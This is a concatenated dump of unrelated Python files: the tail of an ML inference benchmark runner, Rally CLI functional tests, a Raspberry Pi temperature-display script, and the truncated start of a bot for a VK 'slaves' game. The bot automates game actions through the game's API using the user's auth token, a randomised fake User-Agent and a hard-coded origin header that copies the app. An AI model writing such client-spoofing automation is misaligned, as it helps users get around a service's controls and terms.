# don't use defaults in argparser. Instead we default to a dict, override that with a profile
# and take this as default unless command line give
defaults = SUPPORTED_PROFILES["defaults"]
if args.profile:
profile = SUPPORTED_PROFILES[args.profile]
defaults.update(profile)
for k, v in defaults.items():
kc = k.replace("-", "_")
if getattr(args, kc) is None:
setattr(args, kc, v)
if args.inputs:
args.inputs = args.inputs.split(",")
if args.outputs:
args.outputs = args.outputs.split(",")
if args.scenario not in SCENARIO_MAP:
parser.error("valid scanarios:" + str(list(SCENARIO_MAP.keys())))
return args
def get_backend(backend):
if backend == "tensorflow":
from backend_tf import BackendTensorflow
backend = BackendTensorflow()
elif backend == "onnxruntime":
from backend_onnxruntime import BackendOnnxruntime
backend = BackendOnnxruntime()
elif backend == "null":
from backend_null import BackendNull
backend = BackendNull()
elif backend == "pytorch":
from backend_pytorch import BackendPytorch
backend = BackendPytorch()
elif backend == "pytorch-native":
from backend_pytorch_native import BackendPytorchNative
backend = BackendPytorchNative()
elif backend == "tflite":
from backend_tflite import BackendTflite
backend = BackendTflite()
else:
raise ValueError("unknown backend: " + backend)
return backend
class Item:
"""An item that we queue for processing by the thread pool."""
def __init__(self, query_id, content_id, img, label=None):
self.query_id = query_id
self.content_id = content_id
self.img = img
self.label = label
self.start = time.time()
class RunnerBase:
def __init__(self, model, ds, threads, post_proc=None, max_batchsize=128):
self.take_accuracy = False
self.ds = ds
self.model = model
self.post_process = post_proc
self.threads = threads
self.take_accuracy = False
self.max_batchsize = max_batchsize
self.result_timing = []
def handle_tasks(self, tasks_queue):
pass
def start_run(self, result_dict, take_accuracy):
self.result_dict = result_dict
self.result_timing = []
self.take_accuracy = take_accuracy
self.post_process.start()
def run_one_item(self, qitem):
# run the prediction
processed_results = []
try:
##results = self.model.predict({self.model.inputs[0]: qitem.img})
##processed_results = self.post_process(results, qitem.content_id, qitem.label, self.result_dict)
for i in range(len(qitem.query_id)):
results = self.model.predict({self.model.inputs[0]: qitem.img})
processed_results.extend(self.post_process(results, qitem.content_id, qitem.label, self.result_dict))
if self.take_accuracy:
self.post_process.add_results(processed_results)
self.result_timing.append(time.time() - qitem.start)
except Exception as ex: # pylint: disable=broad-except
src = [self.ds.get_item_loc(i) for i in qitem.content_id]
log.error("thread: failed on contentid=%s, %s", src, ex)
# since post_process will not run, fake empty responses
processed_results = [[]] * len(qitem.query_id)
finally:
response_array_refs = []
response = []
for idx, query_id in enumerate(qitem.query_id):
response_array = array.array("B", np.array(processed_results[idx], np.float32).tobytes())
response_array_refs.append(response_array)
bi = response_array.buffer_info()
response.append(lg.QuerySampleResponse(query_id, bi[0], bi[1]))
lg.QuerySamplesComplete(response)
def enqueue(self, query_samples):
idx = [q.index for q in query_samples]
query_id = [q.id for q in query_samples]
if len(query_samples) < self.max_batchsize:
data, label = self.ds.get_samples(idx)
self.run_one_item(Item(query_id, idx, data, label))
else:
bs = self.max_batchsize
for i in range(0, len(idx), bs):
data, label = self.ds.get_samples(idx[i:i+bs])
self.run_one_item(Item(query_id[i:i+bs], idx[i:i+bs], data, label))
def finish(self):
pass
class QueueRunner(RunnerBase):
def __init__(self, model, ds, threads, post_proc=None, max_batchsize=128):
super().__init__(model, ds, threads, post_proc, max_batchsize)
self.tasks = Queue(maxsize=threads * 4)
self.workers = []
self.result_dict = {}
for _ in range(self.threads):
worker = threading.Thread(target=self.handle_tasks, args=(self.tasks,))
worker.daemon = True
self.workers.append(worker)
worker.start()
def handle_tasks(self, tasks_queue):
"""Worker thread."""
while True:
qitem = tasks_queue.get()
if qitem is None:
# None in the queue indicates the parent want us to exit
tasks_queue.task_done()
break
self.run_one_item(qitem)
tasks_queue.task_done()
def enqueue(self, query_samples):
idx = [q.index for q in query_samples]
query_id = [q.id for q in query_samples]
if len(query_samples) < self.max_batchsize:
data, label = self.ds.get_samples(idx)
self.tasks.put(Item(query_id, idx, data, label))
else:
bs = self.max_batchsize
for i in range(0, len(idx), bs):
ie = i + bs
data, label = self.ds.get_samples(idx[i:ie])
self.tasks.put(Item(query_id[i:ie], idx[i:ie], data, label))
def finish(self):
# exit all threads
for _ in self.workers:
self.tasks.put(None)
for worker in self.workers:
worker.join()
def add_results(final_results, name, result_dict, result_list, took, show_accuracy=False):
percentiles = [50., 80., 90., 95., 99., 99.9]
buckets = np.percentile(result_list, percentiles).tolist()
buckets_str = ",".join(["{}:{:.4f}".format(p, b) for p, b in zip(percentiles, buckets)])
if result_dict["total"] == 0:
result_dict["total"] = len(result_list)
# this is what we record for each run
result = {
"took": took,
"mean": np.mean(result_list),
"percentiles": {str(k): v for k, v in zip(percentiles, buckets)},
"qps": len(result_list) / took,
"count": len(result_list),
"good_items": result_dict["good"],
"total_items": result_dict["total"],
}
acc_str = ""
if show_accuracy:
result["accuracy"] = 100. * result_dict["good"] / result_dict["total"]
acc_str = ", acc={:.3f}%".format(result["accuracy"])
if "mAP" in result_dict:
result["mAP"] = 100. * result_dict["mAP"]
acc_str += ", mAP={:.3f}%".format(result["mAP"])
# add the result to the result dict
final_results[name] = result
# to stdout
print("{} qps={:.2f}, mean={:.4f}, time={:.3f}{}, queries={}, tiles={}".format(
name, result["qps"], result["mean"], took, acc_str,
len(result_list), buckets_str))
def main():
global last_timeing
args = get_args()
log.info(args)
# find backend
backend = get_backend(args.backend)
# override image format if given
image_format = args.data_format if args.data_format else backend.image_format()
# --count applies to accuracy mode only and can be used to limit the number of images
# for testing. For perf model we always limit count to 200.
count_override = False
count = args.count
if count:
count_override = True
# dataset to use
wanted_dataset, pre_proc, post_proc, kwargs = SUPPORTED_DATASETS[args.dataset]
ds = wanted_dataset(data_path=args.dataset_path,
image_list=args.dataset_list,
name=args.dataset,
image_format=image_format,
pre_process=pre_proc,
use_cache=args.cache,
count=count, **kwargs)
# load model to backend
model = backend.load(args.model, inputs=args.inputs, outputs=args.outputs)
final_results = {
"runtime": model.name(),
"version": model.version(),
"time": int(time.time()),
"cmdline": str(args),
}
mlperf_conf = os.path.abspath(args.mlperf_conf)
if not os.path.exists(mlperf_conf):
log.error("{} not found".format(mlperf_conf))
sys.exit(1)
user_conf = os.path.abspath(args.user_conf)
if not os.path.exists(user_conf):
log.error("{} not found".format(user_conf))
sys.exit(1)
if args.output:
output_dir = os.path.abspath(args.output)
os.makedirs(output_dir, exist_ok=True)
os.chdir(output_dir)
#
# make one pass over the dataset to validate accuracy
#
count = ds.get_item_count()
# warmup
ds.load_query_samples([0])
for _ in range(5):
img, _ = ds.get_samples([0])
_ = backend.predict({backend.inputs[0]: img})
ds.unload_query_samples(None)
scenario = SCENARIO_MAP[args.scenario]
runner_map = {
lg.TestScenario.SingleStream: RunnerBase,
lg.TestScenario.MultiStream: QueueRunner,
lg.TestScenario.Server: QueueRunner,
lg.TestScenario.Offline: QueueRunner
}
runner = runner_map[scenario](model, ds, args.threads, post_proc=post_proc, max_batchsize=args.max_batchsize)
def issue_queries(query_samples):
runner.enqueue(query_samples)
def flush_queries():
pass
def process_latencies(latencies_ns):
# called by loadgen to show us the recorded latencies
global last_timeing
last_timeing = [t / NANO_SEC for t in latencies_ns]
settings = lg.TestSettings()
settings.FromConfig(mlperf_conf, args.model_name, args.scenario)
settings.FromConfig(user_conf, args.model_name, args.scenario)
settings.scenario = scenario
settings.mode = lg.TestMode.PerformanceOnly
if args.accuracy:
settings.mode = lg.TestMode.AccuracyOnly
if args.find_peak_performance:
settings.mode = lg.TestMode.FindPeakPerformance
if args.time:
# override the time we want to run
settings.min_duration_ms = args.time * MILLI_SEC
settings.max_duration_ms = args.time * MILLI_SEC
if args.qps:
qps = float(args.qps)
settings.server_target_qps = qps
settings.offline_expected_qps = qps
if count_override:
settings.min_query_count = count
settings.max_query_count = count
if args.samples_per_query:
settings.multi_stream_samples_per_query = args.samples_per_query
if args.max_latency:
settings.server_target_latency_ns = int(args.max_latency * NANO_SEC)
settings.multi_stream_target_latency_ns = int(args.max_latency * NANO_SEC)
sut = lg.ConstructSUT(issue_queries, flush_queries, process_latencies)
qsl = lg.ConstructQSL(count, min(count, 500), ds.load_query_samples, ds.unload_query_samples)
log.info("starting {}".format(scenario))
result_dict = {"good": 0, "total": 0, "scenario": str(scenario)}
runner.start_run(result_dict, args.accuracy)
lg.StartTest(sut, qsl, settings)
if not last_timeing:
last_timeing = runner.result_timing
if args.accuracy:
post_proc.finalize(result_dict, ds, output_dir=args.output)
add_results(final_results, "{}".format(scenario),
result_dict, last_timeing, time.time() - ds.last_loaded, args.accuracy)
runner.finish()
lg.DestroyQSL(qsl)
lg.DestroySUT(sut)
#
# write final results
#
if args.output:
with open("results.json", "w") as f:
json.dump(final_results, f, sort_keys=True, indent=4)
if __name__ == "__main__":
main()
|
test_cli_task.py | # Copyright 2013: Mirantis Inc.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import json
import os
import re
import threading
import time
import unittest
import mock
from tests.functional import utils
FAKE_TASK_UUID = "87ab639d-4968-4638-b9a1-07774c32484a"
class TaskTestCase(unittest.TestCase):
def _get_sample_task_config(self):
return {
"Dummy.dummy_random_fail_in_atomic": [
{
"runner": {
"type": "constant",
"times": 100,
"concurrency": 5
}
}
]
}
def _get_deployment_uuid(self, output):
return re.search(
r"Using deployment: (?P<uuid>[0-9a-f\-]{36})",
output).group("uuid")
def test_status(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
self.assertIn("finished", rally("task status"))
def test_detailed(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
detailed = rally("task detailed")
self.assertIn("Dummy.dummy_random_fail_in_atomic", detailed)
self.assertIn("dummy_fail_test (2)", detailed)
detailed_iterations_data = rally("task detailed --iterations-data")
self.assertIn("2. dummy_fail_test (2)", detailed_iterations_data)
self.assertNotIn("n/a", detailed_iterations_data)
def test_detailed_no_atomic_actions(self):
rally = utils.Rally()
cfg = {
"Dummy.dummy": [
{
"runner": {
"type": "constant",
"times": 100,
"concurrency": 5
}
}
]
}
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
detailed = rally("task detailed")
self.assertIn("Dummy.dummy", detailed)
detailed_iterations_data = rally("task detailed --iterations-data")
self.assertNotIn("n/a", detailed_iterations_data)
def test_results(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
self.assertIn("result", rally("task results"))
def test_results_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task results --uuid %s" % FAKE_TASK_UUID)
def test_abort_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task abort --uuid %s" % FAKE_TASK_UUID)
def test_delete_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task delete --uuid %s" % FAKE_TASK_UUID)
def test_detailed_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task detailed --uuid %s" % FAKE_TASK_UUID)
def test_report_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task report --tasks %s" % FAKE_TASK_UUID)
def test_sla_check_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task sla_check --uuid %s" % FAKE_TASK_UUID)
def test_status_with_wrong_task_id(self):
rally = utils.Rally()
self.assertRaises(utils.RallyCliError,
rally, "task status --uuid %s" % FAKE_TASK_UUID)
def test_report_one_uuid(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
rally("task report --out %s" % rally.gen_report_path(extension="html"))
self.assertTrue(os.path.exists(
rally.gen_report_path(extension="html")))
self.assertRaises(utils.RallyCliError,
rally, "task report --report %s" % FAKE_TASK_UUID)
rally("task report --junit --out %s" %
rally.gen_report_path(extension="junit"))
self.assertTrue(os.path.exists(
rally.gen_report_path(extension="junit")))
self.assertRaises(utils.RallyCliError,
rally, "task report --report %s" % FAKE_TASK_UUID)
def test_report_bunch_uuids(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
task_uuids = []
for i in range(3):
res = rally("task start --task %s" % config.filename)
for line in res.splitlines():
if "finished" in line:
task_uuids.append(line.split(" ")[1][:-1])
rally("task report --tasks %s --out %s" % (
" ".join(task_uuids), rally.gen_report_path(extension="html")))
self.assertTrue(os.path.exists(
rally.gen_report_path(extension="html")))
def test_report_bunch_files(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
files = []
for i in range(3):
rally("task start --task %s" % config.filename)
path = "/tmp/task_%d.json" % i
files.append(path)
if os.path.exists(path):
os.remove(path)
rally("task results", report_path=path, raw=True)
rally("task report --tasks %s --out %s" % (
" ".join(files), rally.gen_report_path(extension="html")))
self.assertTrue(os.path.exists(
rally.gen_report_path(extension="html")))
def test_report_one_uuid_one_file(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
task_result_file = "/tmp/report_42.json"
if os.path.exists(task_result_file):
os.remove(task_result_file)
rally("task results", report_path=task_result_file, raw=True)
task_run_output = rally(
"task start --task %s" % config.filename).splitlines()
for line in task_run_output:
if "finished" in line:
task_uuid = line.split(" ")[1][:-1]
break
else:
return 1
rally("task report --tasks"
" %s %s --out %s" % (task_result_file, task_uuid,
rally.gen_report_path(extension="html")))
self.assertTrue(os.path.exists(
rally.gen_report_path(extension="html")))
self.assertRaises(utils.RallyCliError,
rally, "task report --report %s" % FAKE_TASK_UUID)
def test_delete(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
rally("task list")
self.assertIn("finished", rally("task status"))
rally("task delete")
self.assertNotIn("finished", rally("task list"))
def test_list(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
self.assertIn("finished", rally("task list --deployment MAIN"))
self.assertIn("There are no tasks",
rally("task list --status failed"))
self.assertIn("finished", rally("task list --status finished"))
self.assertIn(
"deployment_name", rally("task list --all-deployments"))
self.assertRaises(utils.RallyCliError,
rally, "task list --status not_existing_status")
def test_list_with_print_uuids_option(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
# Validate against zero tasks
self.assertEqual("", rally("task list --uuids-only"))
# Validate against a single task
res = rally("task start --task %s" % config.filename)
task_uuids = []
for line in res.splitlines():
if "finished" in line:
task_uuids.append(line.split(" ")[1][:-1])
self.assertTrue(len(task_uuids))
self.assertIn(task_uuids[0],
rally("task list --uuids-only --deployment MAIN"))
# Validate against multiple tasks
for i in range(2):
rally("task start --task %s" % config.filename)
self.assertIn("finished", rally("task list --deployment MAIN"))
res = rally("task list --uuids-only --deployment MAIN")
task_uuids = res.split()
self.assertEqual(3, len(task_uuids))
res = rally("task list --uuids-only --deployment MAIN "
"--status finished")
for uuid in task_uuids:
self.assertIn(uuid, res)
def test_validate_is_valid(self):
rally = utils.Rally()
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
output = rally("task validate --task %s" % config.filename)
self.assertIn("Task config is valid", output)
def test_validate_is_invalid(self):
rally = utils.Rally()
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
cfg = {"invalid": "config"}
config = utils.TaskConfig(cfg)
self.assertRaises(utils.RallyCliError,
rally,
("task validate --task %(task_file)s "
"--deployment %(deployment_id)s") %
{"task_file": config.filename,
"deployment_id": deployment_id})
def test_start(self):
rally = utils.Rally()
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
cfg = self._get_sample_task_config()
config = utils.TaskConfig(cfg)
output = rally(("task start --task %(task_file)s "
"--deployment %(deployment_id)s") %
{"task_file": config.filename,
"deployment_id": deployment_id})
result = re.search(
r"(?P<task_id>[0-9a-f\-]{36}): started", output)
self.assertIsNotNone(result)
def test_validate_with_plugin_paths(self):
rally = utils.Rally()
plugin_paths = ("tests/functional/extra/fake_dir1/,"
"tests/functional/extra/fake_dir2/")
task_file = "tests/functional/extra/test_fake_scenario.json"
output = rally(("--plugin-paths %(plugin_paths)s "
"task validate --task %(task_file)s") %
{"task_file": task_file,
"plugin_paths": plugin_paths})
self.assertIn("Task config is valid", output)
plugin_paths = ("tests/functional/extra/fake_dir1/"
"fake_plugin1.py,"
"tests/functional/extra/fake_dir2/"
"fake_plugin2.py")
task_file = "tests/functional/extra/test_fake_scenario.json"
output = rally(("--plugin-paths %(plugin_paths)s "
"task validate --task %(task_file)s") %
{"task_file": task_file,
"plugin_paths": plugin_paths})
self.assertIn("Task config is valid", output)
plugin_paths = ("tests/functional/extra/fake_dir1/,"
"tests/functional/extra/fake_dir2/"
"fake_plugin2.py")
task_file = "tests/functional/extra/test_fake_scenario.json"
output = rally(("--plugin-paths %(plugin_paths)s "
"task validate --task %(task_file)s") %
{"task_file": task_file,
"plugin_paths": plugin_paths})
self.assertIn("Task config is valid", output)
def _test_start_abort_on_sla_failure_success(self, cfg, times):
rally = utils.Rally()
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
config = utils.TaskConfig(cfg)
rally(("task start --task %(task_file)s "
"--deployment %(deployment_id)s --abort-on-sla-failure") %
{"task_file": config.filename,
"deployment_id": deployment_id})
results = json.loads(rally("task results"))
iterations_completed = len(results[0]["result"])
self.assertEqual(times, iterations_completed)
def test_start_abort_on_sla_failure_success_constant(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "constant",
"times": times,
"concurrency": 5
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure_success(cfg, times)
def test_start_abort_on_sla_failure_success_serial(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "serial",
"times": times
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure_success(cfg, times)
def test_start_abort_on_sla_failure_success_rps(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "rps",
"times": times,
"rps": 20
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure_success(cfg, times)
def _test_start_abort_on_sla_failure(self, cfg, times):
rally = utils.Rally()
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
config = utils.TaskConfig(cfg)
rally(("task start --task %(task_file)s "
"--deployment %(deployment_id)s --abort-on-sla-failure") %
{"task_file": config.filename,
"deployment_id": deployment_id})
results = json.loads(rally("task results"))
iterations_completed = len(results[0]["result"])
self.assertTrue(iterations_completed < times)
def test_start_abort_on_sla_failure_max_seconds_constant(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "constant",
"times": times,
"concurrency": 5
},
"sla": {
"max_seconds_per_iteration": 0.01
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def test_start_abort_on_sla_failure_max_seconds_serial(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "serial",
"times": times
},
"sla": {
"max_seconds_per_iteration": 0.01
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def test_start_abort_on_sla_failure_max_seconds_rps(self):
times = 100
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "rps",
"times": times,
"rps": 20
},
"sla": {
"max_seconds_per_iteration": 0.01
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def test_start_abort_on_sla_failure_max_failure_rate_constant(self):
times = 100
cfg = {
"Dummy.dummy_exception": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "constant",
"times": times,
"concurrency": 5
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def test_start_abort_on_sla_failure_max_failure_rate_serial(self):
times = 100
cfg = {
"Dummy.dummy_exception": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "serial",
"times": times
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def test_start_abort_on_sla_failure_max_failure_rate_rps(self):
times = 100
cfg = {
"Dummy.dummy_exception": [
{
"args": {
"sleep": 0.1
},
"runner": {
"type": "rps",
"times": times,
"rps": 20
},
"sla": {
"failure_rate": {"max": 0.0}
}
}
]
}
self._test_start_abort_on_sla_failure(cfg, times)
def _start_task_in_new_thread(self, rally, cfg, report_file):
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
config = utils.TaskConfig(cfg)
cmd = (("task start --task %(task_file)s "
"--deployment %(deployment_id)s") %
{"task_file": config.filename,
"deployment_id": deployment_id})
report_path = os.path.join(
os.environ.get("REPORTS_ROOT", "rally-cli-output-files"),
"TaskTestCase", report_file)
task = threading.Thread(target=rally, args=(cmd, ),
kwargs={"report_path": report_path})
task.start()
uuid = None
while not uuid:
if not uuid:
uuid = utils.get_global("RALLY_TASK", rally.env)
time.sleep(0.5)
return task, uuid
def test_abort(self):
RUNNER_TIMES = 10
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 5
},
"runner": {
"type": "serial",
"times": RUNNER_TIMES
}
}
]
}
rally = utils.Rally()
task, uuid = self._start_task_in_new_thread(
rally, cfg, "test_abort-thread_with_abort.txt")
rally("task abort %s" % uuid)
task.join()
results = json.loads(rally("task results"))
iterations_completed = len(results[0]["result"])
# NOTE(msdubov): check that the task is really stopped before
# the specified number of iterations
self.assertTrue(iterations_completed < RUNNER_TIMES)
self.assertIn("aborted", rally("task status"))
report = rally.gen_report_path(extension="html")
rally("task report --out %s" % report)
def test_abort_soft(self):
cfg = {
"Dummy.dummy": [
{
"args": {
"sleep": 2
},
"runner": {
"type": "serial",
"times": 3,
}
},
{
"runner": {
"type": "serial",
"times": 10,
}
}
]
}
rally = utils.Rally()
task, uuid = self._start_task_in_new_thread(
rally, cfg, "test_abort_soft-thread_with_soft_abort.txt")
rally("task abort --soft")
task.join()
results = json.loads(rally("task results"))
iterations_completed = len(results[0]["result"])
# NOTE(msdubov): check that the task is stopped after first runner
# benchmark finished all its iterations
self.assertEqual(3, iterations_completed)
# NOTE(msdubov): check that the next benchmark scenario is not started
self.assertEqual(1, len(results))
self.assertIn("aborted", rally("task status"))
def test_use(self):
rally = utils.Rally()
deployment_id = utils.get_global("RALLY_DEPLOYMENT", rally.env)
config = utils.TaskConfig(self._get_sample_task_config())
output = rally(("task start --task %(task_file)s "
"--deployment %(deployment_id)s") %
{"task_file": config.filename,
"deployment_id": deployment_id})
result = re.search(
r"(?P<uuid>[0-9a-f\-]{36}): started", output)
uuid = result.group("uuid")
rally("task use --task %s" % uuid)
current_task = utils.get_global("RALLY_TASK", rally.env)
self.assertEqual(uuid, current_task)
class SLATestCase(unittest.TestCase):
def _get_sample_task_config(self, max_seconds_per_iteration=4,
failure_rate_max=0):
return {
"KeystoneBasic.create_and_list_users": [
{
"args": {
"name_length": 10
},
"runner": {
"type": "constant",
"times": 5,
"concurrency": 5
},
"sla": {
"max_seconds_per_iteration": max_seconds_per_iteration,
"failure_rate": {"max": failure_rate_max}
}
}
]
}
def test_sla_fail(self):
rally = utils.Rally()
cfg = self._get_sample_task_config(max_seconds_per_iteration=0.001)
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
self.assertRaises(utils.RallyCliError, rally, "task sla_check")
def test_sla_success(self):
rally = utils.Rally()
config = utils.TaskConfig(self._get_sample_task_config())
rally("task start --task %s" % config.filename)
rally("task sla_check")
expected = [
{"benchmark": "KeystoneBasic.create_and_list_users",
"criterion": "failure_rate",
"detail": mock.ANY,
"pos": 0, "status": "PASS"},
{"benchmark": "KeystoneBasic.create_and_list_users",
"criterion": "max_seconds_per_iteration",
"detail": mock.ANY,
"pos": 0, "status": "PASS"}
]
data = rally("task sla_check --json", getjson=True)
self.assertEqual(expected, data)
class SLAExtraFlagsTestCase(unittest.TestCase):
def test_abort_on_sla_fail(self):
rally = utils.Rally()
cfg = {
"Dummy.dummy_exception": [
{
"args": {},
"runner": {
"type": "constant",
"times": 5,
"concurrency": 5
},
"sla": {
"failure_rate": {"max": 0}
}
}
]}
config = utils.TaskConfig(cfg)
rally("task start --task %s --abort-on-sla-failure" % config.filename)
expected = [
{"benchmark": "Dummy.dummy_exception",
"criterion": "aborted_on_sla",
"detail": "Task was aborted due to SLA failure(s).",
"pos": 0, "status": "FAIL"},
{"benchmark": "Dummy.dummy_exception",
"criterion": "failure_rate",
"detail": mock.ANY,
"pos": 0, "status": "FAIL"}
]
try:
rally("task sla_check --json", getjson=True)
except utils.RallyCliError as expected_error:
self.assertEqual(json.loads(expected_error.output), expected)
else:
self.fail("`rally task sla_check` command should return non-zero "
"exit code")
def _test_broken_context(self, runner):
rally = utils.Rally()
cfg = {
"Dummy.dummy": [
{
"args": {},
"runner": runner,
"context": {
"dummy_context": {"fail_setup": True}
}
}
]}
config = utils.TaskConfig(cfg)
rally("task start --task %s" % config.filename)
expected = [
{"benchmark": "Dummy.dummy",
"criterion": "something_went_wrong",
"detail": mock.ANY,
"pos": 0, "status": "FAIL"}
]
try:
rally("task sla_check --json", getjson=True)
except utils.RallyCliError as expected_error:
self.assertEqual(json.loads(expected_error.output), expected)
else:
self.fail("`rally task sla_check` command should return non-zero "
"exit code")
def test_broken_context_with_constant_runner(self):
self._test_broken_context({"type": "constant",
"times": 5,
"concurrency": 5})
def test_broken_context_with_rps_runner(self):
self._test_broken_context({"type": "rps",
"times": 5,
"rps": 3,
"timeout": 6})
|
raspetarberry_pi_demo_lcd_1602_temp_sensor_dht11_00.py | import time
import Adafruit_DHT
from rpi_lcd import LCD
from datetime import datetime
import multiprocessing
# pinVcc = 3V3 (1)
# pinGnd = GND (9)
pinSignal = 17 # GPIO17 (11)
screen = LCD()
def getDataFromDHT11Once():
try:
humidity, temperature = Adafruit_DHT.read_retry(Adafruit_DHT.DHT11, pinSignal)
return humidity, temperature
except RuntimeError as error:
print("Runtime error")
except Exception as error:
print("Exception error")
def getDataFromDHT11():
while True:
try:
humidity, temperature = Adafruit_DHT.read_retry(Adafruit_DHT.DHT11, pinSignal)
return humidity, temperature
except RuntimeError as error:
# Errors happen fairly often, DHT's are hard to read, just keep going.
print("Runtime error!")
print(error.args[0])
continue
except Exception as error:
print("Exception error!")
raise error
finally:
time.sleep(5)
def displayTime(isOnLine1):
lineToDisplayOn = 1 if isOnLine1 else 2
try:
datetimenow = str(datetime.now()).replace('-','')
textDate = datetimenow[2:8]
textTime = datetimenow[9:17]
screen.text(textTime + ' ' + textDate, lineToDisplayOn)
print(textTime + ' ' + textDate)
except:
errorMessage = "Time failed!"
screen.text(errorMessage, lineToDisplayOn)
print(errorMessage)
def displayDataFromDHT11(isOnLine1):
lineToDisplayOn = 1 if isOnLine1 else 2
try:
humidity, temperature = getDataFromDHT11Once()
textTemp = "{:.1f}`C".format(temperature)
textHumidity = "{}%".format(humidity)
screen.text(textTemp + ', ' + textHumidity, lineToDisplayOn)
print(textTemp + ', ' + textHumidity)
except:
errorMessage = "DHT11 failed!"
screen.text(errorMessage, lineToDisplayOn)
print(errorMessage)
while(True):
#displayTime(True)
#displayDataFromDHT11(False)
process1 = multiprocessing.Process(target=displayTime, args=(True,))
process2 = multiprocessing.Process(target=displayDataFromDHT11, args=(False,))
process1.start()
process2.start()
time.sleep(0.9)
|
bot.py | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
import re
import sys
from json import load
from random import choice, randint, random
from threading import Thread
from time import sleep, strftime
import ctypes
import colorama
from fake_useragent import UserAgent
import requests
from termcolor import colored
colorama.init()
version = '3.3'
def buy_slave(id):
"""Покупает раба."""
requests.post(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/buySlave",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
json={"slave_id": id},
)
def buy_fetter(id):
"""Покупает оковы."""
requests.post(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/buyFetter",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
json={"slave_id": id},
)
def sell_slave(id):
"""Продаёт раба."""
requests.post(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/saleSlave",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
json={"slave_id": id},
)
def job_slave(id):
"""Даёт работу."""
requests.post(
"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/jobSlave",
headers={
"Content-Type": "application/json",
"authorization": auth,
"User-agent": ua,
"origin": "https://prod-app7794757-c1ffb3285f12.pages-ac.vk-apps.com",
},
json={
"slave_id": id,
"name": choice(job),
},
)
def get_user(id):
"""Получает информацие о пользователе."""
return requests.get(
f"https://pixel.w84.vkforms.ru/HappySanta/slaves/1.0.0/user?id={id}",
headers={
